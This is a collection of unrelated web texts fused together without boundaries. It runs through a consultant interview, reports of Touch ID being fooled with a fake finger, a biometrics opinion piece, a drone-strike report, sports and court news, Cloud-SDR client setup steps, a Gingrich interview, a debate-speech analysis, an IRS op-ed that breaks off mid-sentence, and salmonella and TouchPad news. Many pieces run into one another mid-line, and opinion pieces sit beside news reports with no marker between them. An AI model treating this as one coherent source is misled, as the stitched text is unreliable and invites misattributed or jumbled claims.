That is so individual. I’d recommending waiting until you’ve been in the position that a co-worker leaves the company you both work at, then the co-worker invites you to come to their new company. That shows that someone wants both your skills and personality. It means you have a good chance to make it as a consultant. On the other hand you can always get work by chasing things listed on job boards.
Do you see yourself pursuing a product based business, coming up with something you can monetize?
I used to be so sure that I was two or three years away from being co-founder in a startup. And now I don't know, because I know just how much blood and sweat it takes to make a startup work and I know (as a consultant) just how cushy my life is.
I'd have to really love a product to really put that effort in. I'm not a big believer in 60 hour weeks. I don't think that startups require that, but I do think they require a devotion that I prefer to give to my family and my own projects, so I don't think that kind of business is going to happen for me right now.
I've also found great satisfaction from sharing and not productizing something so that I can spill the guts of what is inside, that is really appealing and fun for me. This is that hacker movement that everyone has been talking about for 10 years and I've only just been poking at. Turns out it is just as cool as everybody said. People are genuinely nice and enthusiastic, even when what you are building isn't in their wheelhouse.
Why are you happier with your consulting life than you were with a regular job?
You hear about a lot of people working crazy hours and that's not me. When I'm working a regular job, I don't have a sense of what is expected and how many hours other people are working. As a consultant, I am paid for the hours I work. If I want to end the day at 2pm because I’m done with what needs doing, my hours-paid are completely proportional to the hours worked. And consulting lets me work less hours, which I like in order to have time to work on personal projects.
Link to Elecia's blog on element14
http://www.element14.com/community/people/elecia/blog© Lockheed Martin
The new iPhone 5's fingerprint ID security feature lasted all of what amounts to not even five minutes in the tech world — Chaos Computer Club is already reporting that they were able to hack the new phone:
The biometrics hacking team of the Chaos Computer Club (CCC) has successfully bypassed the biometric security of Apple's TouchID using easy everyday means. A fingerprint of the phone user, photographed from a glass surface, was enough to create a fake finger that could unlock an iPhone 5s secured with TouchID. This demonstrates - again - that fingerprint biometrics is unsuitable as access control method and should be avoided. [emphasis added]
[...]
At the 2012 Black Hat hackers conference, hackers were able to successfully demonstrate a program that could easily fool iris scan security systems using recreated irises from images stored in existing iris scan databases.
After several years of consumer complaints, Microsoft Windows 10 has been getting a lot of attention as of late for many upgrades slated for their new version of the popular operating system.However, it appears that one feature being added to supposedly consumer-friendly applications is a suite of biometrics called Windows Hello and Windows Passport.It's all a part of the move toward a full-fledged Smart World where YOU become the password in a matrix of online and real-world activity.Naturally, the fear of identity theft and cyber crime of all stripes has been the sales pitch to accept this new pervasive identity tech. Apple's Touch ID was introduced in iPhone 5 which employed a fingerprint scanner for phone locking as well as to make purchases in Apple stores.Yet, it didn't take long for this new ultra-security measure to be hacked. As Melissa Melton reported Hacking risks already have been exposed in smart vehicles, smart cars, and even smart weapons(!!), so this seems to be par for the course.Online biometrics is a totalitarian dream of removing all anonymity during even the most casual computer interaction. We've already seen electronics warnings about keeping personal conversations quiet around smart TVs. What can we expect to happen when all of the items around us are connected to the Internet, and our bodies have become the sole password that connects us to the central database? It raises the spectre of simple monitoring of all health, consumer activity, environmental compliance, and pretty much every movement anywhere.Please watch the following Windows Hello and Passport promo to catch a glimpse of the early stages for what could become a much wider rollout of Smartworld ID profilingThe U.S. launched a drone strike in the southern Philippines early this month that reportedly killed 15 members of the Islamic terrorist groups Abu Sayyaf and Jemaah Islamiyah, raising concerns about the legality of U.S. drones in the country.
One of those killed was reportedly Zulkifli bin Hir (aka Marwan) had a $5 million bounty on his head from the U.S. State Department. Not all of the identities of those killed were released.
The airstrike prompted angry reactions from some in the Philippines weary of U.S. breach of their sovereignty. One Philippine representative, Luz Ilagan, called for repealing the U.S. Visiting Forces Agreement and an end to U.S. military intervention in national affairs.
Ilagan also called for a probe into what she referred to as the “extensive and intensive intrusion of the U.S. military in Armed Forces of the Philippines (AFP) operations”. She added, “If these reports are true, then U.S. troops are participating in and conducting operations beyond what is allowed in the Visiting Forces Agreement and directly transgressing our sovereignty. More importantly, their participation in these operations is a potential magnet for the Philippines’ participation in a brewing U.S.-instigated regional conflict.”
The U.S. Visiting Forces Agreement forced the closure of major U.S. military bases in the 1990’s and prohibits the U.S., the country’s former colonial ruler, from establishing a military presence. But the U.S. has not gone away since then. A 1999 agreement allowed hundreds of American troops to return in 2002 to train and arm Filipino soldiers fighting domestic militants allegedly linked to al-Qaeda.
Ilagan is right to be concerned, but in recent years U.S. support and military involvement to the Philippines has been misused by the Filipino government against its own citizens.. Numerous embassy cables released by WikiLeaks acknowledge extrajudicial killings, abductions, and false arrests perpetrated by the U.S.-trained and funded security forces.
The Obama administration has initiated an effort with the Filipino government with the aim of increasing access for U.S. warships and air force and possible for joint war drills, although reports say full U.S. bases will not be reopened. This is part of a broader imperial plan to counter China’s regional influence and an expanded military presence in the region with bases, troops, and navy warships in Australia and Singapore.
Last 5 posts by John GlaserAlex Carter (Photo: Ezra Shaw, Getty Images)
Allen Park — Lions general manager Martin Mayhew has known Tom Carter, a fellow former Washington defensive back, for about 20 years. On Friday night, Mayhew drafted Carter's son Alex to give the team depth at cornerback and long-term versatility on the back end.
After trading up in the third round, the Lions selected the 6-foot, 196-pound Alex Carter with the 80th overall pick.
Carter is an aggressive, physical cornerback who can play press coverage in the scheme of Lions defensive coordinator Teryl Austin. With his measurables, Carter fits the profile of an outside cornerback, but Mayhew thinks he can give the Lions options during his NFL career.
"I think he has some ability to possibly play safety," Mayhew said, "but he's definitely going to be a corner for us when he gets here."
Holding the No. 88 pick, the Lions gave the NFC North rival Vikings the No. 143 pick in Round 5 to move up to take Carter.
"He's a physical guy," Lions coach Jim Caldwell said. "He's certainly got size to match up with some of the big receivers we'll see in our division, and not only that, he's smart. He is a student of the game, works extremely hard at it and you can see he's got all the makings to be a true pro."
With the Bears drafting West Virginia's Kevin White in Round 1, the NFC North remains a division loaded with top-tier receivers, and the Lions learned the importance of having depth at cornerback last year.
Now, the Lions have a long, physical cornerback to back up Rashean Mathis and Darius Slay on the outside, and at just 20 years old, Carter has excellent upside.
The 143rd pick was one the Lions acquired when they traded down with the Denver Broncos Thursday. The 80th pick was originally Kansas City's. On Day 3, the Lions still have one pick each in the fifth, sixth and seventh rounds.
Among the remaining needs for the Lions are defensive tackle and wide receiver, but Mayhew mentioned after both picks Friday — Carter and former Nebraska running back Ameer Abdullah — that the Lions went with the best player available.
Carter ran a 4.5-second 40-yard dash at his pro day, which is slightly slower than the Lions prefer at cornerback, but Mayhew said Carter plays fast.
In 2014, Carter had 41 tackles, one interception, one forced fumble and nine passes defensed. Caldwell said he thinks Carter has fine ball skills despite having just two interceptions during his college career, but the coaches will try to teach him to turn those pass break-ups into picks.
"We did like how physical that he is, and he has good size as well," Mayhew said. "But I think his ability to play the run, get off blocks and that kind of thing, we like that about him."
Carter is also engaged to be married, which has been a plus in the Lions' character evaluations of the past two years. Carter's father, Tom, was a first-round pick out of Notre Dame in 1993 and played nine seasons in the NFL.
"The Lions were actually the first visit that I took and I had a great time up there, met the coaching staff, met Coach Caldwell and all the guys," Carter said. "I just really felt great being in their presence. I felt great being able to come in and compete. They told me that they like that I'm a physical corner, I'm going to tackle, get to the ball and make plays, so that's what they told me."
jkatzenstein@detroitnews.com
twitter.com/jkatzensteinThe Washington Supreme Court threw a major wrench Thursday in plans for a big oil terminal on the coast, saying the proposal must be reviewed under a 1989 state law designed to protect marine life after the Exxon Valdez spill in Alaska.
The Washington Supreme Court effectively canceled plans for a big oil terminal at the Port of Grays Harbor in a unanimous decision Thursday.
The justices reversed decisions by a state board and the state Court of Appeals, which held the Ocean Resources Management Act did not cover plans by Houston-based Contanda to ship crude out of the Port of Grays Harbor at Hoquiam, Grays Harbor County.
The act, passed after the Exxon Valdez spill in Alaska, had not been tested in the context of a shore-side development proposal, and was originally passed to regulate offshore oil development. Kristen Boyles, an attorney with the environmental law Earthjustice, said the victory makes the project, up for a decision by the city of Hoquiam, almost certain to be denied.
“It’s dead,” she said.
The Quinault Indian Nation (QIN) opposed the oil terminal on the grounds that it threatens the tribe’s treaty-protected fishery in Grays Harbor. Fawn Sharp, president of QIN called the decision “a benefit not only to the Quinault Indian Nation, but for the entire Washington Coast.”
Francis Rosander, 83, a Quinault elder, has been around long enough to remember subsisting by clamming and fishing on the beach. “It’s good,” he said of the decision. “I hope they can keep the water clean.”
However, the project’s developer vowed to build the project.
“Contanda disagrees with the court’s interpretation of the Ocean Resource Management Act,’’ said G.R. “Jerry” Cardillo, president and CEO of Contanda. “We look forward to building and operating this project safely … and to providing jobs, tax revenue and other economic benefits to the Grays Harbor community.”
Port development advocates were surprised by the ruling
“No one knows what this means yet, except that it will be a lot harder to create jobs,” said Eric Johnson, executive director of the Public Ports Association, based in Olympia.
He sees the possibility of two different approval regimes now, too, one on the coast, where the law applies, and another on the Columbia River, where it doesn’t.
The Contanda project would receive up to 17.8 million barrels of oil a year, including from the Bakken region of North Dakota and Montana, for shipping to refineries in California and Puget Sound. Plans include the construction of four aboveground storage tanks that would each hold up to 8.4 million gallons, with a trainload of oil arriving every three days.
In court, the developer argued — and the city of Hoquiam, state Department of Ecology and Court of Appeals agreed — that the Ocean Resources Management Act did not apply to the proposal because it was an expansion of an existing terminal and because the project would be located onshore, rather than in the water.
Applying the law on a shore-side project is an “unfettered expansion,” the port association also argued in its amicus brief, complicating approval for any port project in which a product would cross over water while being loaded.
The Supreme Court said that reading of the law was far too narrow.
The ruling is the third in a string of recent wins by opponents of fossil-fuel transport projects.
Washington’s outgoing public lands commissioner said this month he would not grant a lease for a major coal-export terminal along the Columbia River. This past May, the Army Corps of Engineers denied a permit for a major proposed deep-water coal port at Cherry Point, north of Bellingham, saying it would interfere with the Lummi Nation’s treaty-reserved fishing rights.
A proposal to build the nation’s largest oil-by-rail marine terminal on the Columbia River in Vancouver, Wash., is yet to be decided. The Tesoro Savage Vancouver Energy terminal would handle about 360,000 barrels of crude oil a day — the largest such facility in North America.Billy Sharp scored Sheffield United's winning goal against his former club Scunthorpe
Billy Sharp scored the only goal against his former club as Sheffield United won away for the first time since August.
Sharp found the bottom corner in the 50th minute with a right-foot shot.
The striker's ninth goal of the season sealed back-to-back league victories for the Blades, who moved to within a point of the play-off places.
Scunthorpe's third consecutive league defeat leaves leaves them six points above the relegation zone.
Scunthorpe United manager Mark Robins told BBC Radio Humberside:
Media playback is not supported on this device Robins on Scunthorpe v Sheffield United
"I honestly thought we created the better chances. I didn't think we played particularly great, but we created the better opportunities.
"It's disappointing, really disappointing, but we've created enough chances to get at least a point out of that.
"We were looking for all three points, but you know ball into the box, there was plenty of ball into good areas to get something from the game and we haven't done that."Table of content:
foreword : The Cloud-SDR client application (cSDRc) is a free software defined radio (SDR) receiver supporting local or remote radio devices. It is the natural companion of the SDRNode streaming server software but can also be used independently.
Cloud-SDR client is designed to work with remote SDR streams coming from SDRNode software but also accepts locally connected SDR hardware.
Cloud-SDR client is similar to many existing SDR receiving software but comes with very specific features making it unique:
Dual channel receiver: RXA and RXB are two totally independent receivers; Geographic integration: Display on map beacons, ADS-B reported airliners, known HF broadcast stations or any geo-localized information coming from the SDRNode server; GPS compatibility: plug a GPS receiver to your computer and track your location on the map, record signals with your position for later processing (coverage mapping etc.); display the UTC time; Digital Terrain Elevation: See the terrain elevation around your position, or in the direction of the antenna directly on the map (requires to download the free SRTM3 files from NASA, with 90m resolution); MP3 audio recording: record to mp3 the demodulated streams to reduce disk requirements; Chat with other users connected to the SDRNode Group: when used as a remote client for the SDRNode streaming server, you can interact with other users with messages or station spotting; Time-domain analysis: the MSR mode enables analysis of any sub-band and displays in real time the time domain signals of the selected spectrum portion. This sub-band can also be recorded (with geographic position if GPS is connected) and processed with provided MATLAB®.
Languages :
Currently interface is available in English or French, language detection is made on startup depending on your computer configuration.
If you want to help and make the translation for your language, feel free to contribute and contact us.
cSDRc is written in C++ and uses the Qt framework. The different processing blocks are working as independent tasks consuming blocks of IQ samples from an incoming FIFO and producing their output to the next chained block, similarly to what is done in GNU Radio.
The following software have been source of inspiration and are partially included in this work:
CuteSDR from Moe Wheatley, thanks for his work and excellent documentation.From his original code we reused the Fractional Resampler and the downconverter (with some fixes from gqrx)
Waterfall display + freq selection taken from gqrx (http://gqrx.dk/), by Alexandru Csete OZ9AEC
Map display from https://github.com/raptorswing
WGS84 code is Copyright (C) 2006 Mathias Froehlich – Mathias.Froehlich@web.de
Spectrum display and buttons are based in part on the work of the Qwt project (http://qwt.sf.net).
FM demodulator comes from Liquid-SDR, http://liquidsdr.org/, from Joseph D. Gaeddert.
For more details on the included software libraries, please check the Licenses folder of your cSDRc installation.
Supported hardware
The following SDR receivers drivers are currently available:
SDRNode remote server, RTLSDR, AirSpy (1; R2 and Mini) BladeRF (x40 and x120); SDRPlay (1 and 2); PerseusSDR.
The different drivers for local hardware are open-source and available on our Github repository.
Support
Like other Cloud-SDR software, support is provided through the community forum: http://forum.cloud-sdr.com/
Getting and installing Cloud-SDR Client
To get the software installer for the free Cloud-SDR client go to https://store.cloud-sdr.com/my-account/ and create your account.
After successful registration, log in and go to the Downloads page :
Depending on your system, now download and run the CSDR W64 Install.exe or CSDR W32 Install.exe file. You will get the following window:
Then select the destination folder:
Select the various optional modules you want to install :
Note : EXTIO option is only needed if you want to access remote SDRNode published streams with other SDR client software like HDSDR.
SDR receivers configuration
For the SDRPlay receivers, you must install the drivers published from the company website (http://www.sdrplay.com/downloads/) :
make sure you select the API/HARDWARE DRIVER 2.09. If you already have installed a previous version of the drivers, you have to update your setup because of important changes that make the older drivers not compatible with current version of the SDRPlay driver.
For other receivers (RTLSDR, AirSpy, BladeRF, …) you need to use ZADIG Usb configurator as follows:
Plug your hardware device in your PC Start Zadig Search for the device in the combo box Install/replace driver with WinUSB (libusb)
When your SDR hardware is correctly configured, it should appear – when connected – under the “Universal Serial Bus devices” item in the Device Manager, as shown in the following :
Running the Cloud-SDR client
After successful installation, a new menu entry should be available, for example :
Click. On startup, the Cloud-SDR client application will launch the different drivers you selected during the installation, each trying to locate available devices. For example if you have RTL-SDR USB dongle (note the Local info displayed in the Type column):
You can change the bandwidth/sampling rate from the “sampling rate” selection widget :
Then click “Use RTL820T” or “USe xxx” depending on the hardware you want to use. That’s it!
Troubleshooting : if your hardware is not listed in the “select hardware” window, make sure you have installed the relevant drivers, make sure you configured correctly Zadig (except SDRPlay). You can also chek the community forum and post a support request message.
The main application screen now displays and you can use the control-bar to start/configure your receiver :
Add terrain elevation
This feature is very useful when you plan your field days : check where the land is good for VHF and above!
Cloud-SDR Client is compatible with the NASA SRTM 90 database. Check this website for more details on the dataset : http://www2.jpl.nasa.gov/srtm/
To have the terrain displayed in the “map” tab of your Cloud-SDR client, proceed as follows:
Browse to http://www.viewfinderpanoramas.org/Coverage%20map%20viewfinderpanoramas_org3.htm :
Click on the tiles you want to have (mind your disk free space… whole world is several Gb). After successfull download, unzip the files into the SRTM3 subfolder in your Cloud-SDR Client installation:
You now have to edit your client configuration file (conf/cloud-sdr.conf) to say where you have the files:
[DEM] path=./SRTM3 lon=2.5276279449462891 lat=48.228275299072266
your station location is defined by the lon, lat coordinates (in degrees). You can also change your location by dragging the antenna object on the Map tab.
Airport and airfield frequencies
OurAirports.com publishes (on this page) files giving many updated information on the airport location, frequencies etc. The Cloud-SDR client can read the csv files and display them on your map tab, making it easy with the mouse to clic and tune.
You need to download the following two files (save them for example in the db/ subfolder) :
Airport file set : http://ourairports.com/data/airports.csv
Airport frequencies set : http://ourairports.com/data/airport-frequencies.csv
You can integrate these lists as follows by changing your client configuration file (conf/cloud-sdr.conf) as follows:
[Database] airports=db/airports.csv airports_frequencies=db/airport-frequencies.csv
The Cloud-SDR client keeps only airports who have at least one frequency in the “frequency set” file.
To learn how to use the Cloud-SDR client software, check the following YouTube videos :Here is a transcript of the exchange:
BARBARO: Does he have the mental fitness, the kind of psychological suitability to the office of the presidency? GINGRICH: [pause] Yeah, and my answer would be, sure. BARBARO: Sure? GINGRICH: Sure. I mean, he is at least as reliable as Andrew Jackson, who was one of the most decisive presidents in American history. Nobody would have predicted Abraham Lincoln’s capabilities before he became president, and most people didn’t believe him while he was president. BARBARO: Can you be more forceful than “sure”? GINGRICH: [pause] I think that Trump has a willingness to break up a system which is decaying. I think the kind of personality that is prepared to be outside the total establishment and have the self-confidence to take on the establishment of both parties is a personality which will by definition not be normal. It will not be a good, corporate managerial, go-along-and-get-along kind of guy, and that’s what you guys mean by temperament.
(Andrew Jackson was last in the news when the Treasury Department decided in April that the former president, a slaveholder known today for both his persecution of Native Americans and advocacy for poor whites, would share the $20 bill with the former slave and abolitionist Harriet Tubman.)
Questions have mounted among both Democrats and Republicans about whether Mr. Trump possesses the mental fitness and strength of character to serve as president, and his poll numbers have fallen as a result.
Mr. Gingrich acknowledged Mr. Trump’s trouble in his interview with “The Run-Up.” “The last two weeks have been peculiarly bad for Trump,” he said.
Mr. Trump has appeared to inflict much of that damage upon himself, including by engaging in a days-long feud with the parents of a fallen United States soldier who criticized him at the Democratic National Convention, confounding many of his supporters.
As his numbers have fallen and his troubles have grown, some Republican officials have begun to publicly reject his candidacy.Natural language processing on the first 2016 presidential debate
The first debate in the 2016 presidential race was held on September 26. It’s no secret that Clinton and Trump are running on drastically different platforms, but how do they compare when it comes to their speech patterns and word choice? To quantify this, I dug into the data, using the debate transcript and natural language processing.
I measured the sentiment of Clinton’s and Trump’s responses, and examined how emotional their words were throughout the debate. I also looked at each candidate’s most commonly used adjectives. Building off the work of Alvin Chang at Vox, I was also able to examine how the speech patterns of Clinton and Trump each changed when directly responding to and when skirting the questions.
Sentiment
Using the Google Cloud Natural Language API, I measured the sentiment of each candidate’s answers. The polarity of a response is a measure of how positive or negative it is, and the magnitude indicates how much emotion the words convey. The chart below shows the polarity of each candidate’s responses, weighted by the magnitude.
Trump and Clinton matched each other’s polarity for the first half of the debate, but after his defense of stop-and-frisk around 9:50 PM, Trump’s words became much more negative.
Throughout the rest of the debate — during the questions on birtherism, cyber security, homegrown terrorism, nuclear weapons, and Clinton’s looks and stamina — Clinton became more positive and Trump more negative.
The combination of polarity and magnitude gives us the best understanding of each line’s overall sentiment, and each candidate’s most positive and negative responses are posted here.
Braggadocios, and other adjectives
I was also interested in the adjectives each candidate used most frequently during the debate. Using syntax analysis to extract each word’s part of speech, I identified the most-used adjectives of each candidate.
Answers vs non-answers
As Chang found, the candidates spent a lot of time not answering Holt’s questions — 48% of Clinton’s words and a whopping 69% of Trump’s words were used in non-answers — and using the data Chang compiled, I was able to look at how the candidate’s speech patterns differed when answering and not answering the questions.
Sentence subjects (“I alone can fix it”)
Using part-of-speech tagging, I also identified the subjects of each candidate’s sentences. Clinton was more inclusive in her words, but only when directly responding to questions — using the plural “we” more frequently than the singular “I” — and the the opposite was true for her when avoiding a response. Trump, on the other hand, was always more likely to use “I” over “we”.
Non-answer phrases
The words each candidate used when directly answering the questions are all, unsurprisingly, highly related to the questions Holt asked. What’s interesting here are the topics the candidates defaulted to when avoiding a response.
A handful of my findings didn’t make it into this post. If you’re interested in more, there’s some additional analysis, including multiple classification models, in the project’s GitHub repo. The text of this article (excluding this sentence) has polarity -0.4 and magnitude 15.5, so despite my best efforts it’s leaning slightly negative.
R code posted here."Horrible customer service." That's what the newly fired IRS commissioner averred was the agency's only sin in singling out conservative political groups for discriminatory treatment.
In such grim proceedings, one should be grateful for unintended humor. Horrible customer service is when every patron in a restaurant finds a fly in his soup. But when the maitre d' screens patrons for their politics and only conservatives find flies paddle-wheeling through their consomm�, the problem is not poor service. It is harassment and invidious discrimination.
And yet both the acting and the previous IRS commissioners insisted that the singling-out of groups according to politics was in no way politically motivated. More hilarity. It's definitional: If you discriminate according to politics, your discrimination is political. It's a tautology, for God's sake.
The IRS responds that this classification was for efficiency, to cut down on overwork. Ridiculous. How does demanding answers to endless intrusive and irrelevant questions, creating mountains of unnecessary paperwork for both applicant and IRS, reduce workload?
We are further asked to believe that a cadre of Cincinnati GS-11s is a hotbed of radical-left activism in America. Is anyone stupid enough to believe that?
That's why the IRS scandal has legs. And because pulling the myriad loose ends of this improbable tale will be the Senate Finance Committee, chaired by Democrat Max Baucus. So much for any reflexive administration charge of a partisan witch hunt.
On Wednesday, however, the issue was in the hands of the House Oversight Committee. It allowed Lois Lerner, the IRS official who had already apologized for targeting tea party groups, to read an opening statement claiming total innocence: "I have not done anything wrong. I have not broken any laws. I have not violated any IRS rules or regulations, and I have not provided false information to this or any other congressional committee." She then refused, on grounds of self-incrimination, to answer any questions.
Perhaps not wanting to appear overbearing, Chairman Darrell Issa gave her a pass, pending legal advice on whether she had forfeited her Fifth Amendment shield by making a statement. Then again, Lerner's performance might not have endeared her to the average viewer. Her arrogance reminded anyone who needed reminding why the IRS is so unloved. Try saying what she said � I deny, I deny, I deny, and I refuse to answer any of your questions � when you're next called in for an IRS audit.
Does the IRS scandal go all the way up to the top? As of now, doubtful. It's nearly inconceivable that anyone would be stupid enough to have given such a politically fatal directive from the White House (although admittedly the bar is rapidly falling).
But when some bureaucrat is looking for cues from above, it matters when the president of the United States denounces the Supreme Court decision that allowed the proliferation of 501(c)4s and specifically calls the resulting "special interest groups" running ads to help Republicans "not just a threat to Democrats � that's a threat to our democracy." That's especially telling when it comes amid letters from Democratic senators to the IRS urging aggressive scrutiny of 501(c)4 applications.
A White House can powerfully shape other perceptions as well. For years the administration has conducted a concerted campaign to demonize Fox News, delegitimizing it as a news organization, even urging its ostracism. Then (surprise!) its own Justice Department takes the unprecedented step |
Padraig Amond and Craig Clay struck to give the Mariners a two-goal advantage on an afternoon of experiment for Paul Clement.
The Head Coach deployed two different sides in each half as his side stepped up their preparations for the season and after a completely new line-up returned for the second 45 minutes, Johnny Russell quickly halved the scores with a well-placed free kick.
The Rams started the contest brightly in north Lincolnshire as they dictated the play and zipped the ball around the pitch at Blundell Park with pace and purpose.
For all their creativity in the first two thirds of the pitch, Derby failed to create any chances of note in the opening 45 minutes – a Tom Ince free kick that flew narrowly wide proved to be the closest they came.
The home side, who have narrowly missed out on promotion back to the Football League in each of the last three seasons, grew into the contest and punished some slack defending in quick succession.
Amond neatly side footed a cushioned header into the bottom left corner after the Rams' backline failed to deal with a ball into their 18-yard box.
The second came from a stray pass in the middle of the park and after the Mariners seized on possession, they sent the Rams frantically back pedalling.
Clay proved to be the eventual beneficiary as he was given time and space, right of centre, to place a first time effort beyond the onrushing Grant.
Into the second half and Paul Clement, the Rams’ Head Coach, returned with a completely different starting XI and quickly halved the deficit.
Russell assumed set piece duties and clipped a well-placed strike from the edge of the area over the wall and into the far corner of James McKeown’s goal.
Jeff Hendrick went close with two chances after that – the first narrowly dropping wide of McKeown’s far post before he later forced the ‘keeper into a sublime save, but despite all their huffing and puffing, Derby could not find the elusive equaliser.
Derby County First Half: Grant, Christie, Keogh, Shotton, Warnock; Thorne, Hanson, Hughes; Ince, Calero, Bent
Derby County Second Half: Carson, Ssewankambo, Albentosa, Pearce, Forsyth; Baird, Hendrick, Bryson; Weimann, Russell Sammon
Other substitutes: Roos (GK)
Attendance: 2,729
Tweets by @ dcfcofficialIn a new statement, NAACP president Ben Jealous has backed off his original criticism of Shirley Sherrod after watching the full tape of her remarks.
Jealous, who originally called Sherrod’s actions “shameful,” now says the whole thing a “teachable moment.”
Jealous said that, after reviewing the full tape (which we still haven’t seen) and speaking to Sherrod and the white farmers in question, the NAACP has realized it was “snookered by Fox News and Tea Party Activist Andrew Breitbart into believing she had harmed white farmers because of racial bias.”“Next time we are confronted by a racial controversy broken by Fox News or their allies in the Tea Party like Mr. Breitbart, we will consider the source and be more deliberate in responding,” he said.
Jealous also finds room to take a shot at the Tea Party Express.
The full statement:When the singer-songwriter Sara Bareilles came to New York from her native California in 2013 and rented what she described as “a really sweet one-bedroom” in the West Village, who knew — certainly not Ms. Bareilles — that she’d soon be crooning a love song to the city?
“I was just testing the waters. I thought I would only be here for a year,” said Ms. Bareilles, 36, who composed the Tony-nominated score for the Broadway musical “Waitress” and is a five-time Grammy nominee in categories including song of the year and album of the year. She would have her New York adventure, she figured, then happily return to her life in Los Angeles and her house in the seaside neighborhood of Venice.
“And that didn’t happen,” she said. “I love the life that has blossomed here.”
But blossoming sometimes involves transplanting. That delightful place in the West Village was on the corner of Seventh Avenue and Christopher Street, “so it was very vibrant in the evenings,” Ms. Bareilles said. “In the beginning, it was sort of what I was seeking. But as time went on, it became clear to me that I needed a place that had a little more sense of sanctuary.”
She found just such a refuge, a two-bedroom rental in a loft-like space, several blocks east of her freshman apartment, on a street she’d wandered during an early visit to New York. “It was years ago,” Ms. Bareilles said. “But I remember this euphoric feeling of possibility and excitement and optimism. When my real estate broker showed me a place on that same street, it was a serendipitous moment. The stars were aligned.”(CNN) -- The maker of peanut butter linked to a nationwide outbreak of salmonella shipped tainted product it knew had tested positive for the bacteria, the Food and Drug Administration said Wednesday.
The Peanut Corporation of America found salmonella in its plant in Blakely, Georgia, the FDA said.
The FDA report said the Peanut Corporation of America's own testing program found strains of salmonella 12 times in 2007 and 2008 at its Blakely, Georgia, plant. The problem does not appear to have been resolved.
When FDA inspectors visited the plant this month, they reported finding still more salmonella contamination.
According to the inspection report, posted on the FDA's Web site, the "firm's own internal microbiological testing" found salmonella in peanut paste, peanut butter, peanut meal, peanut granules and oil-roasted, salted peanuts. Watch what violations occurred at the plant »
However, it added, "After the firm retested the product and received a negative status, the product was shipped."
That's not the way it ought to have been handled, according to one expert. "They were lab shopping," said Tommy Irvin, Georgia's agriculture commissioner. "They were trying to find a way to clear their product, so they can ship their product out," he told CNN. Learn more about food poisoning »
He said proper practices demand that if any food product tests positive for salmonella and another test comes back negative, "you believe the one that is positive."
In a written statement, the company denied accusations it had been "lab shopping" to get a negative test result in order to ship the product.
"PCA uses only two highly reputable labs for product testing and they are widely used by the industry and employ good laboratory practices," the company said. "PCA categorically denies any allegations that the company sought favorable results from any lab in order to ship its products."
But according to Irvin, once salmonella is found in a product, "that lot should be destroyed, but [in this case it] wasn't."
The Georgia Department of Agriculture is working with the FDA on the investigation of the outbreak, which has been linked to the plant.
"The inspection also revealed no steps were taken in terms of cleaning or cross-contamination" after the salmonella was found in the plant, said FDA's director of the Center for Food Safety and Applied Nutrition, Dr. Stephen Sundlof.
The company did not clean the production line after Salmonella Typhimurium, the bacterium implicated in the outbreak, was found there last September, according to the FDA report. This is the same type of bacteria found in 502 people who have become ill in 43 states and Canada since September. At least eight deaths have been linked to the outbreak.
Violations also include contamination of plant surfaces and equipment by other microorganisms, the discovery of roaches near production and packaging areas and the inability of the company's ventilation system to prevent the salmonella from contaminating other parts of the plant.
Sundlof said the reported problems indicate the plant deviated from the good manufacturing practices companies are supposed to follow.
The FDA investigation began January 9, shortly after the manufacturer was implicated as a source of the outbreak. The plant produces peanut butter sold to institutions, such as nursing homes and cafeterias, as well as peanut paste, which is used in cookies, crackers, ice cream and pet treats. Watch the salmonella outbreak that has sickened hundreds »
This month, Peanut Corporation of America began recalling peanut butter and paste produced since July 1. The recall was expanded Wednesday to include products produced since January 1, 2007.
More than 300 products using PCA's peanut paste and peanut butter have already been recalled and the FDA has urged consumers to check the agency's Web site frequently for updates. See a list of recalled products
Federal health officials recommend that consumers throw away any recalled products and not consume any products whose safety cannot be verified.
The American Peanut Council has compiled a list of companies not implicated in the recall on www.peanutsusa.com.
CNN's Saundra Young contributed to this reportAnyone still hankering for a $99 TouchPad can snag a few details about the tablet's future directly from Hewlett-Packard.
Josh Miller/CNET
In a blog posted yesterday, HP representative Mark Budgell said he didn't know if or when more TouchPads will be available but promised an update "in the next few days." Anyone who has already signed up on HP's Web site to be notified of more stock will receive an e-mail, he said. But due to the overwhelming demand, HP has now turned off the ability to sign up for the notification service.
Budgell and fellow HP rep Byrna Corcoran are also using their Twitter accounts to update prospective buyers.
HP revealed two weeks ago that it was pulling the plug on the TouchPad as part of its decision to end its WebOS efforts and spin off its PC business. To get rid of excess inventory, the company gave the tablets bargain-basement prices--$99 for the 16GB version and $149 for the 32GB model. They previously cost $499 and $599, respectively.
But many prospective buyers hit a wall trying to order a tablet. At this point, TouchPad inventory from HP and most retailers is close to impossible to track down.
Some customers have complained that a few retailers won't match the $99 price tag. Budgell sidestepped the issue and stated that retailers "manage their own policy and process regarding pricing and price matching."
Other customers apparently have grumbled about people who bought a bunch of TouchPads, only to sell them on eBay and Craigslist at a major profit. Budgell noted that HP will set an order limit if more tablets are released for sale.
People who've already ordered TouchPads online through HP may not necessarily get one. HP is advising buyers that they should already have received either an e-mail confirming the order or one cancelling it if stock had run out. Those eager to learn the status of their orders should contact HP's Live Assistant for help.
Finally, customers who've already received their TouchPads but are having buyer's remorse are out of luck. Tablets bought for $99 and $149 cannot be returned.
HP plans to update the status of the TouchPad through its Next Bench blog.Wilson Ramos. (Alex Brandon/Associated Press)
Wilson Ramos wasn’t the only National to underperform at the plate last season but his struggles were noticeable for a variety of reasons. He was one of the best offensive catchers in baseball over the past few injury-riddled seasons, offering the promise of big production if he remained healthy. But when he finally was healthy in 2015, his defense improved while his offense regressed.
Ramos, 28, presents an interesting question for the Nationals. He made $3.55 million this season. The 2016 season will be his final one before free agency. Once a key franchise piece and an extension candidate before, Ramos is nearing what could be the end of his time as a National. General Manager Mike Rizzo declined to say if the Nationals have discussed any extensions for current players.
The Nationals have backup catcher Jose Lobaton under team control for two more years. And young prospects such as Pedro Severino, who was a September call-up from Class AA Harrisburg this season, are moving up through the system. The Nationals could consider upgrading at catcher this offseason as Scott Boras client Matt Wieters headlines the free agent class and Milwaukee’s Jonathan Lucroy would be the top catcher potentially on the trade market. But Rizzo is bullish on Ramos.
“He’s a good catcher,” Rizzo said. “He was No. 1 in throwing runners out. He was up for a Gold Glove. He was one of the top in National League in home runs and RBI. He had a down year in getting on base, not like he should, and hitting for average. But as far as a guy, as catchers go, really had some impact in the lineup with power, RBI and catch-throw skills were fine. We like Ramos. He’s a guy that it would be difficult to find a better replacement for.”
